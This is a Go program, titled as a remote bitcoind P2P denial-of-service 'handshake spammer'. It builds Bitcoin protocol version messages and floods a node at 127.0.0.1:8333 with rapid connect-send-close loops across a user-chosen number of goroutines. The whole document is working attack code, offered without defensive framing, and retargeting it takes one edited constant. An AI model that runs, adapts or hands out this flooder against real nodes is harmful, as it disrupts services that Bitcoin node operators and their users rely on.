Remote bitcoind P2P DoS - Go handshake spammer code

package main

import (
    "crypto/sha256"
    "encoding/binary"
    "fmt"
    "net"
    "sync/atomic"
    "time"
)

const (
    Magic           uint32 = 0xD9B4BEF9
    ProtocolVersion uint32 = 70017
    ServerAddress          = "127.0.0.1:8333"
)

var (
    handshakeAttempts uint64
)

func main() {
    var numGoroutines int
    fmt.Print("Enter the number of goroutines: ")
    fmt.Scanln(&numGoroutines)

    versionPayload := createVersionPayload() // Create the version payload once

    for i := 0; i < numGoroutines; i++ {
        go sendRapidHandshakes(versionPayload)
    }

    select {}
}

func sendRapidHandshakes(versionPayload []byte) {
    for {
        conn, err := net.Dial("tcp", ServerAddress)
        if err != nil {
            fmt.Println("Error connecting:", err)
            continue
        }

        if err := sendVersionMessage(conn, versionPayload); err != nil {
            fmt.Println("Error sending version message:", err)
        } else {
            atomic.AddUint64(&handshakeAttempts, 1)
            fmt.Printf("Handshake attempts: %d\n", atomic.LoadUint64(&handshakeAttempts))
        }

        conn.Close() // Close immediately after sending
    }
}

func sendVersionMessage(conn net.Conn, versionPayload []byte) error {
    _, err := conn.Write(packCommand("version", versionPayload))
    return err
}

func packCommand(command string, payload []byte) []byte {
    var cmd [12]byte
    copy(cmd[:], command)

    firstSHA := sha256.Sum256(payload)
    checksum := sha256.Sum256(firstSHA[:])

    packet := make([]byte, 24+len(payload))
    binary.LittleEndian.PutUint32(packet[0:4], Magic)
    copy(packet[4:16], cmd[:])
    binary.LittleEndian.PutUint32(packet[16:20], uint32(len(payload)))
    copy(packet[20:24], checksum[:4])
    copy(packet[24:], payload)

    return packet
}

func createVersionPayload() []byte {
    var addr [26]byte
    binary.LittleEndian.PutUint64(addr[:8], 1) // services

    payload := make([]byte, 85)
    binary.LittleEndian.PutUint32(payload, ProtocolVersion)
    binary.LittleEndian.PutUint64(payload[4:12], uint64(time.Now().Unix()))
    copy(payload[12:38], addr[:])
    copy(payload[38:64], addr[:])
    binary.LittleEndian.PutUint64(payload[64:72], 0) // nonce
    copy(payload[72:80], []byte("/x.com/123456/"))
    binary.LittleEndian.PutUint32(payload[80:84], 0) // start_height
    payload[84] = 0                                  // relay

    return payload
}